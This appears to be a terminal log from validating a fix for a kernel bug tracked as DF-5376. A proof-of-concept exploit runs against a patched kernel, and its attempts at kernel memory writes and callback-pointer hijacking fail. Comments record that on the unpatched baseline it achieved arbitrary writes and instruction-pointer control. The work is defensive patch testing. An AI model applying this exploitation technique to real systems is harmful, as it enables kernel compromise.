# DF-5376 fix-validation (patched kernel #3, targsim rig loaded)
root@dfbsd# ./poc5376 a
[+] DF-5376 mode a: target mode enabled on bus 2
[*] before: fake ccb_h.status = 0, fake dev->qfrozen_cnt = 0x11110000
[*] write() returned 8
[*] after : fake ccb_h.status = 0 (CAM_REQ_ABORTED|CAM_DEV_QFRZN = 0x42)
[*] after : fake dev->qfrozen_cnt = 0x11110000 (was 0x11110000)
[-] kernel writes not observed
rc=1        # <- expected post-fix: fake tree untouched; CCB returned with
            #    CAM_PATH_INVALID via the normal copyout (proper rejection)
root@dfbsd# ./poc5376 b
[+] DF-5376 mode b: target mode enabled on bus 2
[*] fake CCB armed: index=1 cbfcnp=0x414141414140; expect SWI camisr_runqueue -> cbfcnp call NOW
[*] write() returned 8; SWI should call 0x414141414140 within milliseconds...
[*] still alive after 5000 ms
[-] no RIP-control panic - NOT reproduced
# guest alive and healthy; baseline (kernel #0): mode A kernel wrote 0x42 +
# qfrozen_cnt++ at chosen addresses; mode B fake sim linked onto kernel
# cam_simq (trap at swi_cambio+0x59 operating on it)